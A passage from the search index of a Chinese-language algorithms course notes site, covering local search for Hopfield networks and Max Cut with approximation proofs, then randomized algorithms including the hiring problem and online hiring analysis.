e2a\u70b9\u662f\u5426\u6ee1\u610f\uff0c\u5982\u679c\u6709\u4e0d\u6ee1\u610f\u7684\u70b9\uff0c\u6211\u4eec\u5c31\u7ffb\u8f6c\u8fd9\u4e2a\u70b9\u7684\u72b6\u6001\uff08\u90a3\u4e48\u8fd9\u4e2a\u70b9\u81ea\u7136\u5c31\u53d8\u5f97\u6ee1\u610f\u4e86\uff09\uff0c\u7136\u540e\u7ee7\u7eed\u68c0\u67e5\uff0c\u76f4\u5230\u6240\u6709\u7684\u70b9\u90fd\u6ee1\u610f\u4e3a\u6b62\u3002 \u5982\u679c\u8fd9\u4e2a\u7b97\u6cd5\u4f1a\u505c\u6b62 \uff0c\u90a3\u4e48\u505c\u6b62\u7684\u65f6\u5019\u6211\u4eec\u5f97\u5230\u7684\u5c31\u662f\u4e00\u4e2a\u7a33\u5b9a\u6784\u578b\uff1a\u56e0\u4e3a\u6240\u6709\u70b9\u90fd\u6ee1\u610f\u4e86;</p> <p>\u6211\u4eec\u79f0\u4e3a\u72b6\u6001\u7ffb\u8f6c\u7b97\u6cd5\uff08State flipping algorithm\uff09\uff1a</p> <pre><code>ConfigType State_flipping()\n{\n    Start from an arbitrary configuration S;\n    while ( ! IsStable(S) ) {\n        u = GetUnsatisfied(S);\n        su = - su;\n    }\n    return S;\n}\n</code></pre> <p>\u8fd9\u4e2a\u7b97\u6cd5\u4e00\u5b9a\u4f1a\u505c\u6b62\u5417</p> <p> State_flipping\u7b97\u6cd5\u81f3\u591a\u53cd\u8f6c\\(\\sum_{e \\in E}|w_e|\\)\u540e\u4f1a\u505c\u6b62 </p> <p>\u9996\u5148\uff0c\u5b9a\u4e49\u52bf\u80fd\u51fd\u6570\u4e3a\u4e00\u4e2a\u6784\u578b\\(S\\)\u6240\u6709\u597d\u8fb9\u7684\u6743\u91cd\u7684\u7edd\u5bf9\u503c\u4e4b\u548c</p> \\[ \\Phi(S) = \\sum_{e \\in E} |w_e| \\cdot \\mathbb{I}(c_e &lt; 0) \\] <p>\u663e\u7136\uff0c\u5bf9\u4e8e\u4efb\u610f\u7684\u6784\u578b\\(S\\)\uff0c\\(\\Phi(S) \\geqslant 0\\)\uff0c\u5e76\u4e14\u6700\u5927\u503c\u5c31\u662f\u6240\u6709\u8fb9\u7684\u6743\u91cd\u7edd\u5bf9\u503c\u4e4b\u548c\u3002\u5373</p> \\[ \\Phi(S) \\leqslant \\sum_{e \\in E} |w_e| \\] <p>\u5047\u8bbe\u5f53\u524d\u72b6\u6001\u4e3a\\(S\\),\u6709\u4e00\u4e2a\u4e0d\u6ee1\u610f\u7684\u70b9\\(u\\)\uff0c\u90a3\u4e48\u6211\u4eec\u5c06\\(u\\)\u7684\u72b6\u6001\u53d6\u53cd\u53d8\u4e3a\\(\\overline{u}\\)\uff0c\u8bbe\u6b64\u65f6\u72b6\u6001\u4e3a\\(S'\\)\uff0c\u90a3\u4e48</p> \\[     \\Phi(S') - \\Phi(S) =  \\sum_{e=(u,v),e \\in bad} |w_e| - \\sum_{e=(u,v),e \\in good} |w_e| \\geqslant 0 \\] <p>\u8fd9\u662f\u56e0\u4e3a\u7ffb\u8f6c\u540e\u539f\u5148\u4e0e \\(u\\) \u76f8\u8fde\u7684\u597d\u8fb9\u90fd\u53d8\u6210\u4e86\u574f\u8fb9\uff0c\u574f\u8fb9\u90fd\u53d8\u6210\u4e86\u597d\u8fb9\uff0c\u5176\u4f59\u8fb9\u6ca1\u6709\u53d8\u5316\u3002\u53c8\u56e0\u4e3a \\(u\\) \u662f\u4e0d\u6ee1\u610f\u7684\uff0c\u56e0\u6b64\u4e0e \\(u\\) \u76f8\u8fde\u7684\u574f\u8fb9\u6bd4\u597d\u8fb9\u6743\u91cd\u7edd\u5bf9\u503c\u4e4b\u548c\u5927\uff0c\u6240\u4ee5\u4e0a\u5f0f\u5927\u4e8e 0</p> <p>\u52bf\u80fd\u51fd\u6570\u53ea\u80fd\u53d6\u6574\u6570\u503c\uff0c\u6240\u4ee5 \\(\\Phi(S') \\geqslant \\Phi(S)+1\\)</p> <p>\u8fd9\u5c31\u610f\u5473\u7740\u6211\u4eec\u6bcf\u6b21\u7ffb\u8f6c\u4e00\u4e2a\u4e0d\u6ee1\u610f\u7684\u70b9\uff0c\u52bf\u80fd\u51fd\u6570\u5c31\u4f1a\u589e\u52a0\u81f3\u5c11 1\u3002\u56e0\u4e3a\u52bf\u80fd\u51fd\u6570\u7684\u53d6\u503c\u8303\u56f4\u662f\u6709\u9650\u7684\uff080 \u5230\u6240\u6709\u8fb9\u6743\u91cd\u7edd\u5bf9\u503c\u4e4b\u548c\uff09\uff0c\u6240\u4ee5\u6211\u4eec\u7684\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\u4e00\u5b9a\u4f1a\u505c\u6b62;</p> <p>\u6709\u63a8\u8bba:</p> <p>\u8bbe \\(S\\) \u662f\u4e00\u4e2a\u6784\u578b\uff0c\u5982\u679c \\(\\Phi(S)\\) \u662f\u5c40\u90e8\u6700\u5927\u503c\uff0c\u5219 \\(S\\) \u662f\u4e00\u4e2a\u7a33\u5b9a\u6784\u578b</p> <p>\u8bc1\u660e\uff1a\u5982\u679c \\(S\\) \u4e0d\u662f\u4e00\u4e2a\u7a33\u5b9a\u6784\u578b\uff0c\u90a3\u4e48\u81f3\u5c11\u6709\u4e00\u4e2a\u70b9\u662f\u4e0d\u6ee1\u610f\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u7ffb\u8f6c\u8fd9\u4e2a\u70b9\uff0c\u52bf\u80fd\u51fd\u6570\u4f1a\u589e\u52a0\u81f3\u5c11 1\uff0c\u8fd9\u5c31\u610f\u5473\u7740 \\(\\Phi(S)\\) \u4e0d\u662f\u5c40\u90e8\u6700\u5927\u503c\uff0c\u77db\u76fe\u3002</p>"},{"location":"NOTE/ADS/wk11/#max-cut","title":"\u6700\u5927\u5272\u95ee\u9898 (Max Cut)","text":"<p>\u6700\u5927\u5272\u95ee\u9898\u4e5f\u662f\u4e00\u4e2a\u7ecf\u5178\u7684 NP \u56f0\u96be\u95ee\u9898\uff0c\u5728\u8fd9\u4e00\u95ee\u9898\u4e2d\uff0c\u6211\u4eec\u5e0c\u671b\u5c06\u4e00\u4e2a\u8fb9\u6743\u5168\u4e3a\u6b63\u7684\u65e0\u5411\u56fe \\(G = (V, E)\\) \u7684\u9876\u70b9\u96c6\u5408 \\(V\\) \u5206\u6210\u4e24\u4e2a\u96c6\u5408 \\(A\\) \u548c \\(B\\)\uff08\u8fd9\u65f6\u7684\u89e3\u8bb0\u4e3a \\((A, B)\\)\uff09\uff0c\u4f7f\u5f97\u5272\u8fb9\u7684\u6743\u91cd\u548c\u6700\u5927\uff0c\u5176\u4e2d\u5272\u8fb9\u7684\u542b\u4e49\u5c31\u662f\u4e00\u6761\u8fb9\u7684\u4e24\u4e2a\u7aef\u70b9\u5206\u522b\u5728 \\(A\\) \u548c \\(B\\) \u4e2d\uff0c\u5373\u6211\u4eec\u8981\u6700\u5927\u5316</p> \\[    w(A,B) = \\sum_{(u, v) \\in E} w_{uv} \\cdot \\mathbb{I}(u \\in A, v \\in B) \\] <p>\u4e0eHopfield\u7684\u5173\u8054</p> <p>\u6211\u4eec\u5e0c\u671b\u7ed9\u51fa\u4e00\u4e2a\u5c40\u90e8\u641c\u7d22\u89e3\u6cd5----\u8fd9\u662f\u975e\u5e38\u81ea\u7136\u7684\uff0c\u56e0\u4e3a\u5b83\u548c Hopfield \u795e\u7ecf\u7f51\u7edc\u95ee\u9898\u4e4b\u95f4\u6709\u4e00\u4e2a\u5f88\u76f4\u63a5\u7684\u5173\u8054\u3002\u6211\u4eec\u6709\u4e00\u4e2a\u5f88\u7b80\u5355\u7684\u89c2\u5bdf\uff0c\u5bf9\u4e8e\u4efb\u610f\u7684\u89e3 \\((A, B)\\)\uff0c\u7136\u540e\u5c06 \\(A\\) \u4e2d\u7684\u70b9\u8d4b\u72b6\u6001\\(-1\\)\uff0c\\(B\\) \u4e2d\u7684\u70b9\u8d4b\u72b6\u6001 \\(1\\)\uff0c\u56e0\u4e3a\u6240\u6709\u8fb9\u7684\u6743\u91cd\u90fd\u662f\u6b63\u6570\uff0c\u6240\u4ee5\u6700\u5927\u5316\u5272\u8fb9\u6743\u91cd\u548c\u5bf9\u5e94\u4e8e\\(Hopfield\\) \u795e\u7ecf\u7f51\u7edc\u95ee\u9898\u5176\u5b9e\u5c31\u662f\u6700\u5927\u5316\u597d\u8fb9\u7684\u603b\u6743\u91cd\u548c \\(\\Phi(S)\\)\uff0c\u8fd9\u5c31\u548c Hopfield \u795e\u7ecf\u7f51\u7edc\u95ee\u9898\u4e00\u6837\u4e86,\u4f7f\u7528State flipping\u7b97\u6cd5\u5373\u53ef</p>"},{"location":"NOTE/ADS/wk11/#_8","title":"\u5c40\u90e8\u7b97\u6cd5\u4e0e\u6700\u4f18\u89e3\u7684\u5173\u7cfb","text":"<p>\u5728\u6700\u5927\u5272\u95ee\u9898\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u8bc1\u660e\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\u7684\u6700\u4f18\u89e3\u548c\u5168\u5c40\u6700\u4f18\u89e3\u4e4b\u95f4\u7684\u5173\u7cfb\uff1a\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\u7ed9\u51fa\u7684\u5c40\u90e8\u6700\u4f18\u89e3\u6700\u5dee\u4e5f\u4e0d\u4f1a\u4f4e\u4e8e\u6700\u4f18\u89e3\u7684\u4e00\u534a</p> <p>\u5373</p> <p>\u8bbe \\((A, B)\\) \u662f\u5982\u4e0a\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\u5f97\u51fa\u7684\u4e00\u4e2a\u5c40\u90e8\u6700\u4f18\u89e3\uff0c\\((A^\u2217, B^\u2217)\\) \u662f\u6700\u4f18\u89e3\uff0c\u5219</p> \\[     w(A, B) \\geqslant \\frac{1}{2} w(A^\u2217, B^\u2217) \\] <p>Proof</p> <p>\u8bbe \\(u \\in A\\),\u56e0\u4e3a\\((A,B)\\)\u662f\u5c40\u90e8\u6700\u4f18\u89e3\uff0c\u6240\u4ee5\uff0c\u5982\u679c\u5c06\\(u\\)\u4ece\\(A\\)\u4e2d\u79fb\u5230\\(B\\)\u4e2d\uff0c\u5272\u8fb9\u6743\u91cd\u548c\u4f1a\u51cf\u5c11\uff1b\u5373</p> \\[     \\sum_{v \\in A} w_{uv} \\leqslant \\sum_{v in B} w_{uv} \\] <p>\u5bf9\u6240\u6709\u7684\\(u \\in A\\)\u90fd\u6210\u7acb\uff0c\u6240\u4ee5\u6c42\u548c\u5f97\u5230</p> \\[     \\sum_{u \\in A}\\sum_{v \\in A} w_{uv} \\leqslant \\sum_{u \\in A}\\sum_{v \\in B} w_{uv} \\] <p>\u7b49\u5f0f\u5de6\u8fb9\u4e3a\\(A\\)\u4e2d\u6240\u6709\u7684\u8fb9\u6743\u91cd\u548c\u7684\u4e24\u500d\uff0c\u53f3\u8fb9\u4e3a\\(A\\)\u548c\\(B\\)\u4e4b\u95f4\u7684\u8fb9\u6743\u91cd\u548c(\u6240\u6709\u7684\u5272\u8fb9\u7684\u6743\u91cd\u548c)\uff0c\u6240\u4ee5</p> \\[     2w(A,A) \\leqslant w(A,B) \\] <p>\u540c\u7406\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230</p> \\[     2w(B,B) \\leqslant w(A,B) \\] <p>\u6211\u4eec\u53c8\u77e5\u9053\uff0c\u603b\u7684\u8fb9\u6743\u91cd\u548c\u4e3a</p> \\[     W = w(A,A) + w(B,B) + w(A,B) \\] <p>\u6240\u4ee5</p> \\[     w(A^*,B^*) \\leqslant w(A,B) + w(A,A) + w(B,B) \\leqslant 2w(A,B) \\]"},{"location":"NOTE/ADS/wk11/#_9","title":"\u4f18\u5316","text":"<p>\u4e8b\u5b9e\u4e0a\u5728\u63a7\u5236\u8fed\u4ee3\u6b21\u6570\u5f15\u8d77\u7684\u590d\u6742\u5ea6\u65f6\u975e\u5e38\u5e38\u7528\uff08\u8fd9\u91cc\u5c31\u662f\u6c42 \\(\\Phi(S)\\) \u7684\u5c40\u90e8\u6700\u4f18\u503c\u9700\u8981\u7684\u8fed\u4ee3\u6b21\u6570\u53ef\u80fd\u592a\u591a\uff09\u3002\u6211\u4eec\u8981\u6c42\u7b97\u6cd5\u5728\u627e\u4e0d\u5230\u4e00\u4e2a\u80fd\u5bf9\u89e3\u6709 \u201c\u6bd4\u8f83\u5927\u7684\u63d0\u5347\u201d \u7684\u65f6\u5019\u5c31\u505c\u6b62\uff0c\u5373\u4f7f\u5f53\u65f6\u7684\u89e3\u4e0d\u662f\u5c40\u90e8\u6700\u4f18\u89e3\uff1a</p> <p>\u5f53\u6211\u4eec\u5904\u4e8e\u89e3 \\(w(A, B)\\) \u65f6\uff0c\u6211\u4eec\u8981\u6c42\u4e0b\u4e00\u4e2a\u89e3\u7684\u6743\u91cd\u81f3\u5c11\u8981\u589e\u5927\\(\\dfrac{2\\varepsilon}{n}w(A, B)\\)\uff0c\u5176\u4e2d \\(n\\) \u662f\u56fe \\(G\\) \u7684\u9876\u70b9\u6570\u3002\u5bf9\u4e8e\u8fd9\u4e00\u7b97\u6cd5\uff0c\u6211\u4eec\u6709\u5982\u4e0b\u7ed3\u8bba\uff1a</p> <p>\u8bbe \\((A, B)\\) \u662f\u5982\u4e0a\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\u5f97\u51fa\u7684\u4e00\u4e2a\u89e3\uff0c\\((A^\u2217, B^\u2217)\\) \u662f\u6700\u4f18\u89e3\uff0c\u5219</p> \\[     w(A, B) \\geqslant \\frac{1}{2+\\varepsilon} w(A^\u2217, B^\u2217) \\] <p>\u5e76\u4e14\u8fd9\u4e00\u7b97\u6cd5\u4f1a\u5728 \\(O(\\dfrac{n}{\\varepsilon} \\log W)\\) \u6b21\u72b6\u6001\u7ffb\u8f6c\u540e\u505c\u6b62\uff0c\u5176\u4e2d \\(W\\) \u662f\u6240\u6709\u8fb9\u7684\u6743\u91cd\u4e4b\u548c</p> <p>Proof</p> <p>\u5bf9\u4e8e\u4efb\u610f\u7684\u89e3 \\((A, B)\\)\uff0c\u8bbe\\(u \\in A\\)</p> \\[     \\sum_{v \\in A} w_{uv} \\leqslant \\sum_{v \\in B} w_{uv} + \\frac{2\\varepsilon}{n} w(A,B) \\] <p>\u5bf9\u6240\u6709\u7684\\(u \\in A\\)\u90fd\u6210\u7acb\uff0c\u6240\u4ee5\u6c42\u548c\u5f97\u5230</p> \\[     2w(A,A) \\leqslant w(A,B) + \\frac{2\\varepsilon}{n} w(A,B) \\cdot n_A \\] <p>\u5176\u4e2d \\(n_A\\) \u662f \\(A\\) \u4e2d\u7684\u70b9\u6570\uff0c\u540c\u7406</p> \\[     2w(B,B) \\leqslant w(A,B) + \\frac{2\\varepsilon}{n} w(A,B) \\cdot n_B \\] <p>\u6240\u4ee5</p> \\[     w(A^*,B^*) \\leqslant w(A,B) + w(A,A) + w(B,B) \\leqslant 2w(A,B) + \\varepsilon w(A,B)  \\] <p>\u56e0\u4e3a\u6211\u4eec\u6bcf\u6b21\u53cd\u8f6c\u4f1a\u4f7f\u5f97\u5272\u8fb9\u6743\u91cd\u548c\u589e\u52a0\\(1+\\dfrac{\\varepsilon}{n}\\)\u500d\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\\(O(\\dfrac{n}{\\varepsilon} \\log W)\\)\u6b21\u72b6\u6001\u7ffb\u8f6c\u540e\u4f1a\u8fbe\u5230\u505c\u6b62\u6761\u4ef6</p> \u9009\u62e9\u66f4\u597d\u7684\u90bb\u5c45 <p></p>"},{"location":"NOTE/ADS/wk12/","title":"\u968f\u673a\u7b97\u6cd5","text":"<p> \u7ea6 1631 \u4e2a\u5b57  54 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 6 \u5206\u949f</p> <p>\u786e\u5b9a\u6027\u7b97\u6cd5\u662f\u6307\u5728\u7ed9\u5b9a\u76f8\u540c\u8f93\u5165\u7684\u60c5\u51b5\u4e0b\uff0c\u7b97\u6cd5\u603b\u662f\u4ea7\u751f\u76f8\u540c\u7684\u7ed3\u679c\u3002</p> <p>\u968f\u673a\u7b97\u6cd5\u662f\u6307\u5728\u7ed9\u5b9a\u76f8\u540c\u8f93\u5165\u7684\u60c5\u51b5\u4e0b\uff0c\u7b97\u6cd5\u53ef\u80fd\u4ea7\u751f\u4e0d\u540c\u7684\u7ed3\u679c\u3002</p> <p>\u5bf9\u4e8e\u4e00\u4e9b\u590d\u6742\u7684\u8ba1\u7b97\u95ee\u9898\uff0c\u786e\u5b9a\u6027\u7b97\u6cd5\u53ef\u80fd\u9700\u8981\u8017\u8d39\u5927\u91cf\u7684\u65f6\u95f4\u548c\u8d44\u6e90\uff0c\u800c\u968f\u673a\u7b97\u6cd5\u53ef\u4ee5\u5728\u5408\u7406\u7684\u65f6\u95f4\u5185\u63d0\u4f9b\u4e00\u4e2a\u8fd1\u4f3c\u89e3\u3002\u4f8b\u5982\uff0c\u8499\u7279\u5361\u7f57\u65b9\u6cd5\u5728\u8ba1\u7b97\u9ad8\u7ef4\u79ef\u5206\u65f6\u8868\u73b0\u51fa\u8272\u3002</p> <p>\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0c\u8f93\u5165\u6570\u636e\u53ef\u80fd\u5177\u6709\u4e0d\u786e\u5b9a\u6027\u6216\u566a\u58f0\uff0c\u968f\u673a\u7b97\u6cd5\u53ef\u4ee5\u66f4\u597d\u5730\u5904\u7406\u8fd9\u4e9b\u4e0d\u786e\u5b9a\u6027\u3002\u4f8b\u5982\uff0c\u968f\u673a\u68ee\u6797\u7b97\u6cd5\u5728\u5904\u7406\u6709\u566a\u58f0\u7684\u6570\u636e\u65f6\u8868\u73b0\u826f\u597d\u3002</p> <p>\u6709\u4e9b\u95ee\u9898\u7684\u786e\u5b9a\u6027\u7b97\u6cd5\u8bbe\u8ba1\u975e\u5e38\u590d\u6742\uff0c\u800c\u968f\u673a\u7b97\u6cd5\u53ef\u4ee5\u63d0\u4f9b\u4e00\u79cd\u66f4\u4e3a\u7b80\u5355\u548c\u76f4\u63a5\u7684\u89e3\u51b3\u65b9\u6848\u3002\u4f8b\u5982\uff0c\u62c9\u65af\u7ef4\u52a0\u65af\u7b97\u6cd5\u5728\u627e\u5230\u6b63\u786e\u89e3\u4e4b\u524d\u4f1a\u4e0d\u65ad\u5c1d\u8bd5\uff0c\u8bbe\u8ba1\u76f8\u5bf9\u7b80\u5355\u3002</p> <p>\u5728\u5206\u5e03\u5f0f\u8ba1\u7b97\u73af\u5883\u4e2d\uff0c\u968f\u673a\u7b97\u6cd5\u53ef\u4ee5\u6709\u6548\u5730\u5206\u914d\u4efb\u52a1\uff0c\u51cf\u5c11\u901a\u4fe1\u5f00\u9500\uff0c\u63d0\u9ad8\u8ba1\u7b97\u6548\u7387\u3002\u4f8b\u5982\uff0c\u54c8\u5e0c\u7b97\u6cd5\u5728\u5206\u5e03\u5f0f\u7cfb\u7edf\u4e2d\u7684\u8d1f\u8f7d\u5747\u8861\u4e2d\u8d77\u5230\u4e86\u91cd\u8981\u4f5c\u7528\u3002</p> <p>\u968f\u673a\u7b97\u6cd5\u5206\u4e3a\u4ee5\u4e0b\u4e24\u79cd</p> <p>\u968f\u673a\u7b97\u6cd5</p> <ol> <li> <p>\u62c9\u65af\u7ef4\u52a0\u65af\u7b97\u6cd5(Las Vegas Algorithm): \u8fd9\u79cd\u7b97\u6cd5\u5728\u6bcf\u6b21\u8fd0\u884c\u65f6\u90fd\u4f1a\u4f7f\u7528\u968f\u673a\u6027\uff0c\u4f46\u5b83\u4fdd\u8bc1\u6700\u7ec8\u4f1a\u627e\u5230\u4e00\u4e2a\u6b63\u786e\u7684\u89e3\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u62c9\u65af\u7ef4\u52a0\u65af\u7b97\u6cd5\u7684\u8f93\u51fa\u603b\u662f\u6b63\u786e\u7684\uff0c\u4f46\u8fd0\u884c\u65f6\u95f4\u53ef\u80fd\u4f1a\u6709\u6240\u4e0d\u540c\u3002\u4e00\u4e2a\u5178\u578b\u7684\u4f8b\u5b50\u662f\u5feb\u901f\u6392\u5e8f\u7b97\u6cd5\u7684\u968f\u673a\u5316\u7248\u672c\uff0c\u5b83\u901a\u8fc7\u968f\u673a\u9009\u62e9\u67a2\u8f74\u6765\u63d0\u9ad8\u5e73\u5747\u6027\u80fd\u3002 (randomized algorithms that are always correct, and run efficiently in expectation)</p> </li> <li> <p>\u8499\u7279\u5361\u7f57\u7b97\u6cd5(Monte Carlo Algorithm): \u8fd9\u79cd\u7b97\u6cd5\u5728\u6bcf\u6b21\u8fd0\u884c\u65f6\u90fd\u4f1a\u4f7f\u7528\u968f\u673a\u6027\uff0c\u4f46\u5b83\u4e0d\u4e00\u5b9a\u80fd\u627e\u5230\u4e00\u4e2a\u6b63\u786e\u7684\u89e3\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u8499\u7279\u5361\u7f57\u7b97\u6cd5\u7684\u8f93\u51fa\u53ef\u80fd\u4e0d\u6b63\u786e\uff0c\u4f46\u8fd0\u884c\u65f6\u95f4\u901a\u5e38\u662f\u56fa\u5b9a\u7684\u3002\u4e00\u4e2a\u5178\u578b\u7684\u4f8b\u5b50\u662f\u8499\u7279\u5361\u7f57\u65b9\u6cd5\u5728\u8ba1\u7b97\u9ad8\u7ef4\u79ef\u5206\u65f6\u8868\u73b0\u51fa\u8272\u3002(efficient randomized algorithms that only need to yield the correct answer with high probability)</p> </li> </ol>"},{"location":"NOTE/ADS/wk12/#the-hiring-problem","title":"\u96c7\u4f63\u95ee\u9898(The Hiring Problem)","text":"<ul> <li>\u4ece\u730e\u5934\u516c\u53f8\u96c7\u4f63\u4e00\u540d\u529e\u516c\u5ba4\u52a9\u7406</li> <li>\u6bcf\u5929\u9762\u8bd5\u4e0d\u540c\u7684\u7533\u8bf7\u8005\uff0c\u6301\u7eed \\(N\\) \u5929</li> <li>\u9762\u8bd5\u6210\u672c \\(C_i\\) \u8fdc\u5c0f\u4e8e \u96c7\u4f63\u6210\u672c \\(C_h\\)</li> <li>\u5206\u6790\u9762\u8bd5\u548c\u96c7\u4f63\u6210\u672c\u800c\u4e0d\u662f\u8fd0\u884c\u65f6\u95f4</li> </ul> <p>\u5047\u8bbe\u96c7\u4f63\u4e86 \\(M\\) \u4e2a\u4eba\u3002 \u603b\u6210\u672c\uff1a\\(O(NC_i + MC_h)\\)</p> <p>Naive solution:</p> <pre><code>int Hiring ( EventType C[ ], int N )\n{   /* candidate 0 is a least-qualified dummy candidate */\n    int Best = 0;\n    int BestQ = the quality of candidate 0;\n    for ( i=1; i&lt;=N; i++ ) {\n        Qi = interview( i ); /* Ci */\n        if ( Qi &gt; BestQ ) {\n            BestQ = Qi;\n            Best = i;\n            hire( i );  /* Ch */\n        }\n    }\n    return Best;\n}\n</code></pre> <p>\u6700\u574f\u60c5\u51b5\u662f\u9762\u8bd5\u8005\u59cb\u7ec8\u6bd4\u524d\u4e00\u4e2a\u9762\u8bd5\u8005\u4f18\u79c0\uff0c\u90a3\u4e48\u9700\u8981\u9762\u8bd5 \\(N\\) \u6b21\uff0c\u96c7\u4f63 \\(N\\) \u6b21\uff0c\u603b\u6210\u672c\u4e3a \\(O(NC_h)\\)\u3002</p> <p>\u5047\u8bbe\\(N\\)\u4e2a\u9762\u8bd5\u8005\u4ee5\u968f\u673a\u987a\u5e8f\u88ab\u8bd5\uff0c\u524d\\(i\\)\u4e2a\u5019\u9009\u4eba\u4e2d\u7684\u4efb\u4f55\u4e00\u4e2a\u90fd\u540c\u6837\u6709\u53ef\u80fd\u662f\u8fc4\u4eca\u4e3a\u6b62\u6700\u5408\u683c\u7684\u3002</p> <p>\u5373\u7b2c\\(i\\)\u4e2a\u4eba\u88ab\u9009\u4e2d\u7684\u6982\u7387\u76f8\u5f53\u4e8e\\(i\\)\u4e2a\u7403\u7684\u76d2\u5b50\u4e2d\u968f\u673a\u62bd\u53d6\u4e00\u4e2a\u7403\uff0c\u62bd\u5230\u6700\u597d\u7403\u7684\u6982\u7387\uff0c\u4e3a\\(\\frac{1}{i}\\)\u3002</p> <p>\u5b9a\u4e49\u968f\u673a\u53d8\u91cf\\(X_i\\)</p> <p>\u5b9a\u4e49\u968f\u673a\u53d8\u91cf \\(X_i\\) \u5982\u4e0b\uff1a</p> \\[ X_i =  \\begin{cases}  1, &amp; \\text{\u5982\u679c\u7b2c } i \\text{ \u4e2a\u5019\u9009\u4eba\u88ab\u96c7\u4f63} \\\\ 0, &amp; \\text{\u5982\u679c\u7b2c } i \\text{ \u4e2a\u5019\u9009\u4eba\u672a\u88ab\u96c7\u4f63} \\end{cases} \\] <p>\u5019\u9009\u4eba \\(i\\) \u88ab\u96c7\u4f63\u7684\u6982\u7387\u4e3a \\(\\frac{1}{i}\\)\u3002</p> <p>\u603b\u7684\u96c7\u4f63\u6b21\u6570 \\(X\\) \u4e3a\uff1a</p> \\[ X = \\sum_{i=1}^{N} X_i \\] <p>\u671f\u671b\u503c\u4e3a\uff1a</p> \\[ E[X_i] = \\Pr[\\text{\u5019\u9009\u4eba } i \\text{ \u88ab\u96c7\u4f63}] \\] <p>\u56e0\u6b64\uff0c\u671f\u671b\u603b\u96c7\u4f63\u6b21\u6570\u4e3a\uff1a</p> \\[ E[X] = E\\left[\\sum_{i=1}^{N} X_i\\right] = \\sum_{i=1}^{N} E[X_i] = \\sum_{i=1}^{N} \\frac{1}{i} = \\ln N + O(1) \\] <p>\u603b\u6210\u672c\u4e3a \\(O(C_h \\ln N + NC_i)\\)\u3002</p> <pre><code>int RandomizedHiring ( EventType C[ ], int N )\n{   /* candidate 0 is a least-qualified dummy candidate */\n    int Best = 0;\n    int BestQ = the quality of candidate 0;\n\n    randomly permute the list of candidates;//takes time\n\n    for ( i=1; i&lt;=N; i++ ) {\n        Qi = interview( i ); /* Ci */\n        if ( Qi &gt; BestQ ) {\n            BestQ = Qi;\n            Best = i;\n            hire( i );  /* Ch */\n        }\n    }\n}\n</code></pre> <p>\u7b97\u6cd5\u7684\u5173\u952e\u5728\u4e8e\u751f\u6210\u968f\u673a\u6392\u5217\u3002</p> <p> Assign each element A[ i ] a random priority P[ i ],and sort </p> <pre><code>void PermuteBySorting ( ElemType A[ ], int N )\n{\n    for ( i=1; i&lt;=N; i++ )\n        A[i].P = 1 + rand()%(N^3); \n        /* makes it more likely that all priorities are unique */\n    Sort A, using P as the sort keys;\n}\n</code></pre> <p>\u5982\u679c\u53eaHire\u4e00\u4e2a\uff1a</p> <pre><code>int OnlineHiring ( EventType C[ ], int N, int k )\n{\n    int Best = N;\n    int BestQ = - \uf0a5 ;\n    for ( i=1; i&lt;=k; i++ ) {\n        Qi = interview( i );\n        if ( Qi &gt; BestQ )   BestQ = Qi;\n    }\n    for ( i=k+1; i&lt;=N; i++ ) {\n        Qi = interview( i );\n        if ( Qi &gt; BestQ ) {\n            Best = i;\n            break;\n        }\n    }\n    return Best;\n}\n</code></pre> <p>\u5148\u968f\u673a\u6311\u9009<code>k</code>\u4e2a\u9762\u8bd5\uff0c\u53d6\u51fa\u5176\u4e2d\u6700\u597d\u7684\uff0c\u7136\u540e\u4ece\u7b2c<code>k+1</code>\u4e2a\u5f00\u59cb\uff0c\u5982\u679c\u6bd4\u6700\u597d\u7684\u8fd8\u597d\u7684\u8bdd\uff0c\u5c31\u96c7\u4f63\u3002</p> <p>\\( S_i \\): \u7b2c \\( i \\) \u4e2a\u7533\u8bf7\u8005\u662f\u6700\u597d\u7684</p> <p>\u8981\u4f7f \\( S_i \\) \u6210\u7acb\uff0c\u9700\u8981\u6ee1\u8db3\uff1a</p> <ul> <li>\\( A \\): \u6700\u597d\u7684\u7533\u8bf7\u8005\u5728\u4f4d\u7f6e \\( i \\);\u6982\u7387\u4e3a \\(\\frac{1}{N}\\)</li> <li>\\( B \\): \u5728\u4f4d\u7f6e \\( k+1 \\) \u5230 \\( i-1 \\) \u6ca1\u6709\u4eba\u88ab\u96c7\u4f63\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c1\u5230 \\( i-1 \\) \u4e2d\u6ca1\u6709\u6bd4\u6311\u51fa\u7684 \\( k \\) \u4e2a\u66f4\u597d\u7684(\u524d \\( i-1 \\) \u4e2a\u4e2d\u6700\u597d\u7684\u5728\\(k\\)\u4e2a\u4e2d)\uff0c\u6982\u7387\u4e3a \\(\\frac{k}{(i-1)}\\)</li> </ul> <p>\u6982\u7387\u8ba1\u7b97\uff1a</p> \\[ \\Pr[S_i] = \\Pr[A \\cap B] = \\Pr[A] \\cdot \\Pr[B] = \\frac{1}{N} \\cdot \\frac{k}{(i-1)} = \\frac{k}{N(i-1)} \\] \\[     \\Pr[S]= \\sum_{i=k+1}^{N} \\Pr[S_i] =\\frac{k}{N} \\sum_{i=k}^{N-1} \\frac{1}{i} \\] <p>\u5176\u88ab\u4ee5\u4e0b\u8fd9\u4e2a\u79ef\u5206\u5f0f\u5b50bound\u4f4f</p> \\[ \\int_{k}^{N} \\frac{1}{x} \\, dx \\leqslant \\sum_{i=k}^{N-1} \\frac{1}{i} \\leqslant \\int_{k-1}^{N-1} \\frac{1}{x} \\, dx \\] <p>\u5bf9\u4e8e\u7ed9\u5b9a\u7684 \\( k \\)\uff0c\u96c7\u4f63\u5230\u6700\u4f18\u5019\u9009\u4eba\u7684\u6982\u7387\u6ee1\u8db3\uff1a</p> \\[ \\frac{k}{N} \\ln\\left(\\frac{N}{k}\\right) \\leqslant  \\Pr[S] \\leqslant \\frac{k}{N} 